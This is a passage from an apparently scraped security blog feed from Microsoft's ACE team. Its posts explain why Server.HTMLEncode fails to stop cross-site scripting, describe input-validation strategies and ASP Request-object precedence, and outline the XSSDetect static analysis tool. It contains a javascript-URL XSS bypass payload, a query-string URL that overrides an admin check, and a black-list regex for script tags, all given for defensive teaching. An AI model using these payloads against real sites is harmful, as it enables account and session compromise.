&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;body&amp;gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;lt;H1&amp;gt;XSS &amp;lt;/H1&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;IMG SRC='&amp;lt;%=Server.htmlencode(request("im"))%&amp;gt;'&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/body&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Exploit payload&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;to bypass this encoding is given below &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;IMG SRC="javascript:alert('XSS');"&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 12.0pt"&gt;&lt;o:p&gt;&lt;FONT size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.5in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attacker payload lands up in a scripting context already, so there is no need to have &amp;lt;script&amp;gt; in the payload.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.5in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : &amp;lt; , &amp;gt; , “ , &amp;amp;. All other characters are not encoded.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Recommendations:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Input Validation&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;- Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.5in; TEXT-INDENT: -0.25in"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 11.0pt"&gt;·&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Symbol; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine &amp;amp; is available at &lt;A href="http://msdn2.microsoft.com/en-us/security/aa973814.aspx"&gt;http://msdn2.microsoft.com/en-us/security/aa973814.aspx&lt;/A&gt;.&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Stay tuned for more bloopers next week. Till then, keep it secure.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Cheers,&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'"&gt;Anmol Malhotra&lt;BR&gt;Senior Security Consultant – Microsoft ACE Services&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=6142626" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="Input Validation" scheme="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx" /><category term="Cross Site Scripting" scheme="http://blogs.msdn.com/hackers/archive/tags/Cross+Site+Scripting/default.aspx" /></entry><entry><title>First Line of Defense for Web Applications – Part 3</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/30/first-line-of-defense-for-web-applications-part-3.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/30/first-line-of-defense-for-web-applications-part-3.aspx</id><published>2007-10-30T21:53:38Z</published><updated>2007-10-30T21:53:38Z</updated><content type="html">&lt;h3&gt;Precaution: Are you consuming Unexpected Input &lt;/h3&gt;  &lt;p&gt;Technology is developing fast and web programming languages are coming up with features or ways to ease the job of our developers. Although it brings a smile on developers face, there is a flip side to this. Attackers are exploiting these shortcuts to pass unexpected input in the applications and exploiting the applications. Let&amp;#x2019;s look at Request () Object which retrieves the values that the client browser passed to the server during an HTTP request. &lt;/p&gt;  &lt;p&gt;Interestingly, all variables can be accessed directly by calling &lt;a href="http://msdn2.microsoft.com/en-us/library/ms524948.aspx"&gt;Request(&lt;/a&gt;variable) without the collection name. In this case, the Web server searches the collections in the following order:&lt;/p&gt;  &lt;p&gt;&amp;#xB7; QueryString&lt;/p&gt;  &lt;p&gt;&amp;#xB7; Form&lt;/p&gt;  &lt;p&gt;&amp;#xB7; Cookies&lt;/p&gt;  &lt;p&gt;&amp;#xB7; ClientCertificate&lt;/p&gt;  &lt;p&gt;&amp;#xB7; ServerVariables&lt;/p&gt;  &lt;p&gt;Now this is where it gets dangerous. If a variable with the same name exists in more than one collection, the &lt;a href="http://msdn2.microsoft.com/en-us/library/ms524948.aspx"&gt;Request&lt;/a&gt; object returns the first instance that the object encounters.&lt;/p&gt;  &lt;p&gt;For example, a web application may implement the following authorization checks:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;If Request(&amp;#x201C;Admin&amp;#x201D;) =&amp;#x201D;True&amp;#x201D; Then &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Do administrative work &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Else &lt;/i&gt;&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Normal User Work&lt;/i&gt;&lt;/p&gt;  &lt;p&gt;If the developer of the application sets a variable in the cookie, such as Admin=Yes, then the application will check for the value of this Request object whenever the application has to process admin functionality. &lt;/p&gt;  &lt;p&gt;The code should look something like Request.Cookies(&amp;#x201C;Admin&amp;#x201D;).&amp;#xA0; However, if the developer loosely codes the thing, and uses a shortcut like Request(&amp;#x201C;Admin&amp;#x201D;) then now as stated earlier, the Request object will search for a match in QueryString, Form, Cookies, ClientCertificate and ServerVariables, in that order. The first match found dictates the value.&lt;/p&gt;  &lt;p&gt;From an attacker perspective, a simple payload would bypass this and exploit the application. &lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.vulnerablecom/abc.aspx?URL=Admin"&gt;http://www.vulnerablecom/abc.aspx?URL=Admin&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;a&gt;&lt;/a&gt;Here Value from Querystring overrides or takes precedence over cookies object.&lt;/p&gt;  &lt;h3&gt;&lt;a&gt;Input Validation Strategies&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;Before we start building a defence against the bad guys, we need to clearly understand some basic concepts of security design and architecture. Security requires some measure of paranoia&amp;#x2014;we must assume all foreign data entering an application is malicious.&amp;#xA0; Therefore, all foreign data should be validated before consuming and should be encoded when echoing back to the user.&amp;#xA0; This paranoia is a key part of developing secure applications.&lt;/p&gt;  &lt;p&gt;There are two basic strategies for validating input.&amp;#xA0; Either we can look for known values in the input we are expecting to receive from the user (white list) or we can look for unknown list of values which we are not expecting to receive from the user (black list). These strategies are applicable to other security domains in addition to web applications. For example, when configuring a firewall you can either accept traffic only on specific ports &amp;amp; specific IP address OR you can write many rejection rules which will reject traffic on all unwanted ports and IP addresses.&lt;/p&gt;  &lt;h4&gt;&lt;a&gt;Black List Approach a.k.a Exclusions list&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;In this approach, the developer tries to imagine all the bad input that may find its way to her application, and then rejects all these specific inputs.&amp;#xA0; All other data is accepted.&amp;#xA0; These are just a few of the inputs she will need to look out for:&lt;/p&gt;  &lt;p&gt;&lt;b&gt;User Input Expected&lt;/b&gt;: First Name&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Regular Expression&lt;/b&gt;: (&amp;amp;lt;|&amp;amp;amp;lt;|%3C)(%20|\s)*(script|applet|embed|)) &lt;/p&gt;  &lt;p&gt;The black list strategy is a weak protection mechanism because you cannot brain storm all the bad characters attackers will use for a particular attack. We all know security is an ever changing landscape. Black list comes heavily dependent on attacker&amp;#x2019;s next moves and therefore has to be continuously updated and changed.&amp;#xA0; As new attack techniques come out, this list becomes outdated and requires constant monitoring.&lt;/p&gt;  &lt;h4&gt;&lt;a&gt;White List Approach aka Inclusions list&lt;/a&gt;&lt;/h4&gt;  &lt;p&gt;The white list strategy compares foreign user input to specific input that will be treated as acceptable. For example:&lt;/p&gt;  &lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p&gt;&lt;b&gt;User Input Expected&lt;/b&gt;: First Name &lt;/p&gt;  &lt;p&gt;&lt;b&gt;Regular Expression&lt;/b&gt;: [a-z A-Z-] &lt;/p&gt;  &lt;p&gt;The above is a White list of all &lt;b&gt;known good inputs,&lt;/b&gt; e.g Only Caps A to Z and small a- z will be allowed.&amp;#xA0; All other input is discarded as evil.&lt;/p&gt;  &lt;p&gt;White list filtering gives more control to the programmer as it is a restrictive kind of filtering mechanism. Only characters defined in the list will be entertained and nothing else. All other characters are considered malicious and are rejected. White list offers much better protection in your application against attacks when the programmer has a good idea of the type of input expected for the application.&lt;/p&gt;  &lt;p&gt;Unfortunately, there can be times when application developer has no clear idea about what data is expected. For example, sometimes user can enter free HTML as an input. In this kind of scenario, implementing inclusions list validation becomes difficult.&lt;/p&gt;  &lt;p&gt;Cheers,&lt;/p&gt;  &lt;p&gt;Anmol Malhotra&lt;/p&gt;  &lt;p&gt;Sr. Security Consultant&amp;#xA0; - Microsoft ACE Services&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5786752" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="Input Validation" scheme="http://blogs.msdn.com/hackers/archive/tags/Input+Validation/default.aspx" /></entry><entry><title>Weekend Security Reading Round up Links 10/27/07</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/27/weekend-security-reading-round-up-links-10-27-07.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/27/weekend-security-reading-round-up-links-10-27-07.aspx</id><published>2007-10-27T08:21:04Z</published><updated>2007-10-27T08:21:04Z</updated><content type="html">&lt;p&gt;&lt;a href="http://money.cnn.com/news/newsfeeds/articles/prnewswire/AQTU16123102007-1.htm" target="_blank"&gt;Microsoft Research Reveals New Trends in Cybercrime&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;This is well worth reading if you're in Info Sec... I particularly was nodding my head violently yes when I read the following:&lt;/p&gt;  &lt;p&gt;&amp;quot;The research indicates there are tensions within organizations over how data should be managed. Security and privacy professionals see customer data as an asset to protect, while in functions such as marketing where personal data is collected and used, employees are more likely to see it as a resource to achieve business objectives.&amp;quot;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.forbes.com/entrepreneurs/2007/10/26/tjx-northrop-mcafee-ent-tech-cx_ag_1026worsthacks.html" target="_blank"&gt;Worst Cybersecurity Meltdowns&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Forbes.&amp;#xA0; Its listed under &amp;quot;Business of Fear&amp;quot;... hmmm?&lt;/p&gt;  &lt;p&gt;So... a couple of interesting links related to PCI (payment card industry data security standards)&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9044159&amp;amp;intsrc=news_ts_head" target="_blank"&gt;Visa rolls out new payment application security mandates&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Do you have legacy systems that process credit cards?&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.betanews.com/article/Hackers_Can_Tap_Into_Vonage_Lines_Says_Security_Firm/1193330064" target="_blank"&gt;Hackers Can Tap Into Vonage Lines, Says Security Firm&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;You don't say?&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.marvquin.com/blog/top-five-5-best-non-criminal-hackers-all-time" target="_blank"&gt;Top Five (5) Best Non-Criminal Hackers of All Time&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;While not a bad list... I have to say not the same list I would compile.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/ref=pd_bbs_sr_1/104-3768414-8841531?ie=UTF8&amp;amp;s=books&amp;amp;qid=1193473068&amp;amp;sr=1-1" target="_blank"&gt;Hacker books: The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;I read this book while I was back in High School and its a great read.&amp;#xA0; If you're not old enough to remember what a 300 baud modem is then some of the technology references may seem a little arcane but the story is compelling.&amp;#xA0; This is a true story.&lt;/p&gt;  &lt;p&gt;-techjunkie&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5706015" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author></entry><entry><title>Some technical details on how XSSDetect does Dataflow Analysis </title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/23/some-technical-details-on-how-xssdetect-does-dataflow-analysis.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/23/some-technical-details-on-how-xssdetect-does-dataflow-analysis.aspx</id><published>2007-10-24T06:41:00Z</published><updated>2007-10-24T06:41:00Z</updated><content type="html">&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Hi, my name is Hassan Khan. I work for the ACE Engineering Team, which is a part of the &lt;A href="http://blogs.msdn.com/ace_team"&gt;&lt;FONT color=#777777&gt;ACE (Application Consulting &amp;amp; Engineering) Team&lt;/FONT&gt;&lt;/A&gt;.&amp;nbsp; We develop tools and solutions to help secure Microsoft Line of Business applications, websites and also work with Microsoft’s enterprise customers.&amp;nbsp; ACE Engineering is also responsible for developing and delivering security courses and workshops that were originally targeted at IT application teams at Microsoft and which we also now deliver externally. The XSSDetect tool, the Threat modeling and Analysis Tool and the Anti-XSS Library are some of the tools developed by ACE Engineering which have been made available for free on the Internet. As one of the developers of XSSDetect, I wanted to share some of the technical details of this tool in this blog entry. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;There are two types of web application vulnerability scanners: dynamic and static. Dynamic analysis tools are also called penetration testing tools. You point such a tool at a live application; the tool begins crawling the web pages in the application and throws test strings at each of them. The effectiveness of a penetration testing tool is therefore dependent on its ability to go through all the use cases in the application. Most tools in the market, if not all, are not very good at it. Static analysis tools on the other hand scan the application source code or binaries to detect programming errors. Consequently, they offer 100% coverage and are able to identify many more vulnerabilities than penetration testing tools. XSSDetect is a static analysis tool. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;The reason there are so few static analysis tools available is that they are complex and hard to implement. XSSDetect analyzes .NET Intermediate Language (IL) read directly from the compiled binaries. It takes apart all assemblies, modules, classes and methods down to each instruction. It then identifies statements where untrusted user data enters the application and where dangerous methods are called. These form the two sets of statements (sources and sinks) between which XSSDetect then finds dataflow paths. This is the same algorithm that is employed when an application is code reviewed manually by an experienced security analyst. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;Even though XSSDetect comes with hardcoded sources and sinks that help identify only XSS vulnerabilities, this approach can be used to identify any vulnerability that can be expressed in terms of sources, sinks and the dataflow between them. These include SQL, LDAP, XPATH, and XML data Injection vulnerabilities. Once you have dataflow analysis capabilities, it can indeed be very powerful. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;The example below shows data is traced from Request.Querystring to Response.Write to establish the fact that a XSS vulnerability exists in the application. It is a simple example here data is only assigned to a variable before being echoed. In reality, before user input is passed to dangerous functions, it can be passed around in different assemblies, methods and assigned to object fields. It can also be stored in a database before being used! All these challenges had to be overcome to make this tool more accurate. Additionally, XSSDetect had to identify encoding and sanitizing functions in dataflow paths to reduce the number of false positives. &lt;/FONT&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;&amp;nbsp;&lt;IMG style="WIDTH: 392px; HEIGHT: 113px" height=113 src="http://blogs.msdn.com/photos/techjunkie/images/5642788/original.aspx" width=392 align=middle mce_src="http://blogs.msdn.com/photos/techjunkie/images/5642788/original.aspx"&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;I will continue to share more details on XSSDetect in the future. For now, feel free to share with us your experience of using this tool. If you come across any vulnerable code fragments which XSSDetect fails to detect, please let us know and we will try to improve the accuracy of this tool.&amp;nbsp; You can contact the ACE team by going to the &lt;A class="" title="ACE Team's MSDN Blog" href="http://blogs.msdn.com/ace_team" target=_blank mce_href="http://blogs.msdn.com/ace_team"&gt;ACE Team blog&lt;/A&gt; and clicking on 'Email'.&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;To download the tool and see a screenshot, check out the ACE Team blog here:&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;A href="http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx"&gt;&lt;FONT face=verdana,geneva&gt;http://blogs.msdn.com/ace_team/archive/2007/10/22/xssdetect-public-beta-now-available.aspx&lt;/FONT&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;FONT face=verdana,geneva&gt;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=5642649" width="1" height="1"&gt;</content><author><name>techjunkie</name><uri>http://blogs.msdn.com/members/techjunkie.aspx</uri></author><category term="security" scheme="http://blogs.msdn.com/hackers/archive/tags/security/default.aspx" /><category term="tools" scheme="http://blogs.msdn.com/hackers/archive/tags/tools/default.aspx" /></entry><entry><title>First Line of Defense for Web Applications – Part 2</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/hackers/archive/2007/10/22/first-line-of-defense-for-web-applications-part-2.aspx" /><id>http://blogs.msdn.com/hackers/archive/2007/10/22/first-line-of-defense-for-web-applications-part-2.aspx</id><published>2007-10-23T04:02:18Z</published><updated>2007-10-23T04:02:18Z</updated><content type="html">&lt;p&gt;Hello everyone, as promised I am back with the next post on input validation series for web applications. Knowledge is power right :). So knowing what all things to validate when you start your web project can save you a lot of headache down the road. So here are some of most important aspects on input validation every developer should be aware of. &lt;/p&gt;  &lt;h3&gt;&lt;a&gt;What should you validate?&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;All user controlled input should be treated malicious unless proven otherwise. There are three major categories you must validate to protect your web application.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;1. &lt;/b&gt;&lt;b&gt;Request object &lt;/b&gt;&lt;/p&gt;  &lt;p&gt;This is the biggest and most important category of things to validate. When an HTTP request is made, the Request object retrieves all the values from the client browser. These are passed to the server. All of the following collections should be validated by the application on server side before consuming the information. Members of these collections are 100% user controlled.&lt;/p&gt;  &lt;table cellspacing="0" cellpadding="2" width="400" border="1"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top" width="200"&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711511(VS.71).aspx"&gt;Request.Cookies &lt;/a&gt;&lt;/td&gt;        &lt;td valign="top" width="200"&gt;The values of cookies sent in the HTTP request&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="200"&gt;&lt;a href="http://msdn2.microsoft.com/en-gb/library/aa711513(VS.71).aspx"&gt;Request.Form 